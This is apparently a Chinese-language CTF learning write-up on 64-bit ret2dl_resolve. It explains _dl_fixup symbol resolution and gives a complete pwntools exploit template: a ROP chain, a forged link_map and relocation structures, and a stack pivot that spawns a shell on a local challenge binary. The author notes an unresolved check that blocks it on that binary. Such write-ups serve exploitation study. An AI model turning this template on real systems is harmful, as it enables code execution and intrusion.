64位ret2dl_resolve一些个人理解
前言
在学32位ret2dl_resolve的时候就遗留了一个坑,64位该怎么搞。因为wiki上整个ELF的部分确实看上去很枯燥而且抓不住重点,就一直留到了现在,最近因为几个比赛题重新研究了一下。
概括
具体思路见参考文章,筛选的都是写的能让我看懂的了。对比模板发现思路都是一样的,这里只分析几个针对不同题目怎么改参数的问题以及坑点。
前置知识
通过阅读_dl_fixup源码可以总结出一般的函数重定向流程可简略如下:
- 通过struct link_map *l获得.dynsym、.dynstr、.rel.plt地址
- 通过reloc_arg+.rel.plt地址取得函数对应的Elf32_Rel指针,记作reloc
- 通过reloc->r_info和.dynsym地址取得函数对应的Elf32_Sym指针,记作sym
- 检查r_info最低位是否为7
- 检查(sym->st_other)&0x03是否为0
- 通过strtab+sym->st_name获得函数对应的字符串,进行查找,找到后赋值给rel_addr,最后调用这个函数。
利用方法:
让sym->st_value等于某个got上已经解析了的函数的那一表项,然后l->l_addr设置为system与这个函数的偏移值,此外,伪造link_map我们还需要伪造:位于link_map+0x70的DT_SYMTAB指针、link_map+0xf8的DT_JMPREL指针,另外strtab必须是个可读的地址,因此我们还需要伪造位于link_map+0x68的DT_STRTAB指针。之后就是伪造.dynamic中的DT_SYMTAB结构体和DT_JMPREL结构体以及函数所对应的Elf64_Rela结构体。为了方便,在构造的过程中一般将reloc_arg作为0来进行构造。
exp
这是我用的exp模板,大部分参数已经给出了注释。
#coding:utf-8
from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn222')
libc = elf.libc
p = process('./pwn222')
gdb.attach(p,'b*0x04011AA') # main ret
# libc = ELF('./libc')
'''
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
}Elf64_Sym;
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
}Elf64_Rela;
typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
}Elf64_Dyn;
'''
universal_gadget1 = 0x00040122A # gadget_end
universal_gadget2 = 0x000401210 # gadget_front
Elf64_Sym_len = 0x18
Elf64_Rela_len = 0x18
write_addr = 0x404040 + 0x440 # write to where
log.info('bss: '+ hex(elf.bss()))
link_map_addr = write_addr+0x18
rbp = write_addr-8
pop_rdi_ret = 0x000401233
leave = 0x004011aa
main = 0x0401146
#fake_Elf64_Dyn_STR_addr = l+0x68
#fake_Elf64_Dyn_SYM_addr = l+0x70
#fake_Elf64_Dyn_JMPREL_addr = l+0xf8
l_addr = libc.sym['system'] - libc.sym['__libc_start_main']
#l->l_addr + sym->st_value
# value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
def fake_link_map_gen(link_map_addr,l_addr,st_value):
fake_Elf64_Dyn_JMPREL_addr = link_map_addr + 0x18
fake_Elf64_Dyn_SYM_addr = link_map_addr + 8
fake_Elf64_Dyn_STR_addr = link_map_addr
fake_Elf64_Dyn_JMPREL = p64(0) + p64(link_map_addr+0x28)
fake_Elf64_Dyn_SYM = p64(0) + p64(st_value-8)
fake_Elf64_rela = p64(link_map_addr - l_addr) + p64(7) + p64(0)
fake_link_map = p64(l_addr) #0x8
fake_link_map += fake_Elf64_Dyn_SYM #0x10
fake_link_map += fake_Elf64_Dyn_JMPREL #0x10
fake_link_map += fake_Elf64_rela #0x18
fake_link_map += b'\x00'*0x28
fake_link_map += p64(fake_Elf64_Dyn_STR_addr) #link_map_addr + 0x68
fake_link_map += p64(fake_Elf64_Dyn_SYM_addr) #link_map_addr + 0x70
fake_link_map += b'/bin/sh\x00'.ljust(0x80,b'\x00')
fake_link_map += p64(fake_Elf64_Dyn_JMPREL_addr)
return fake_link_map
def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
# 给出各个指针的假地址
fake_Elf64_Dyn_STR_addr = p64(fake_link_map_addr)
fake_Elf64_Dyn_SYM_addr = p64(fake_link_map_addr + 0x8)
fake_Elf64_Dyn_JMPREL_addr = p64(fake_link_map_addr + 0x18)
# 伪造相关结构体
fake_Elf64_Dyn_SYM = flat(p64(0),p64(st_value-8))
fake_Elf64_Dyn_JMPREL = flat(p64(0),p64(fake_link_map_addr+0x28) )# JMPREL指向.rel.plt地址,放在fake_link_map_addr+0x28
r_offset = fake_link_map_addr - l_addr
log.info("r_offset :"+str(hex(r_offset)))
fake_Elf64_rela = flat(p64(r_offset),p64(7),p64(0))
# fake_link_map整体结构
fake_link_map = flat( # 0x0
p64(l_addr), # 0x8
fake_Elf64_Dyn_SYM, # 0x18
fake_Elf64_Dyn_JMPREL,# 0x28
fake_Elf64_rela, # 0x40
"\x00"*0x28, # 0x68,下面开始放指针
fake_Elf64_Dyn_STR_addr, # STRTAB指针,0x70
fake_Elf64_Dyn_SYM_addr, # SYMTAB指针,0x78
"/bin/sh\x00".ljust(0x80,"\x00"),
fake_Elf64_Dyn_JMPREL_addr, # JMPREL指针
)
return fake_link_map
fake_link_map = fake_link_map_gen(link_map_addr,l_addr,elf.got['__libc_start_main'])
payload = b'a'*0x20
payload += p64(rbp)
payload += p64(universal_gadget1)
payload += p64(0) #pop rbx
payload += p64(1) #pop rbp
payload += p64(0) #pop r12
payload += p64(write_addr) #pop r13
payload += p64(len(fake_link_map)+0x18) #pop r14
payload += p64(elf.got['read']) #pop r15
payload += p64(universal_gadget2) #ret
payload += p64(0)*7
payload += p64(main)
payload = payload.ljust(0x200,b'\x00')
p.send(payload)
sleep(1)
fake_info = p64(0x00401026) #jmp plt0+6
fake_info += p64(link_map_addr)
fake_info += p64(0)
fake_info += fake_link_map
p.send(fake_info)
sleep(1)
payload = b'b'*0x20+p64(rbp)+p64(pop_rdi_ret)+p64(link_map_addr+0x78)+p64(leave)
#stack pivot,进入函数重定向
payload = payload.ljust(0x200,b'\x00')
p.send(payload)
p.interactive()
翻译几个以后我可能看不懂的注释:
- universal_gadget指64位通用gadget。
- plt0+6就是plt里第一个jmp,指向了got2,符合我们的利用思路。
调试与分析
断点断在了main函数的ret,直接c到这个断点,开始单步到这里。
这里在参考2最后提到了这个坑点,就是sub后rsp一定要落在可写范围内。可以vmmap一下rsp,如果距离bss还有一点距离,则需要修改exp种的write_addr增加上差值,就可以让rsp落到bss上了。
继续单步到这里:
可以看到我们即将执行dl_fixup函数。参考1,2都提到了为了方便让reloc
= 0,这里可以证实这一点,我们si进入这个函数。
走到这儿我们能发现上面的cmp和这里的test,对应到之前分析的
“
4. 检查r_info最低位是否为7
5. 检查(sym->st_other)&0x03是否为0
”
第一个check似乎挺容易过的,第二个check在参考1中提到了
这道题这里我暂时还想不到怎么绕过,因为可用的got函数在libc的位置都在system的后面。通用的libc_start_main被当成全局变量存进来了,在参考1的例题中并没有这问题,如果为了理解还请完全按照参考1食用。这也算是一个新的坑点把。
至于如何应对这个问题,是否是可解决的,暂时留坑了,因为本菜鸡才学到堆,觉得这里已经可以知足了。
问了星盟的一位大师傅,得到了答复“只要找到一个固定的glibc的指针应该就好”。确实这样子就需要动调看能不能让(sym+5)&0x03 != 0 了,通用性也大大降低,不过确实是一种思路。
后记
研究一些自认为超越当前水平的问题挺让人喜悦的,这个思路大概研究了两星期,有亿点感慨,希望以后自己也能保持这种钻研的心。
参考链接
- https://bbs.pediy.com/thread-253833.htm
- https://zhuanlan.zhihu.com/p/148073987
- https://veritas501.space/2017/10/07/ret2dl_resolve%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/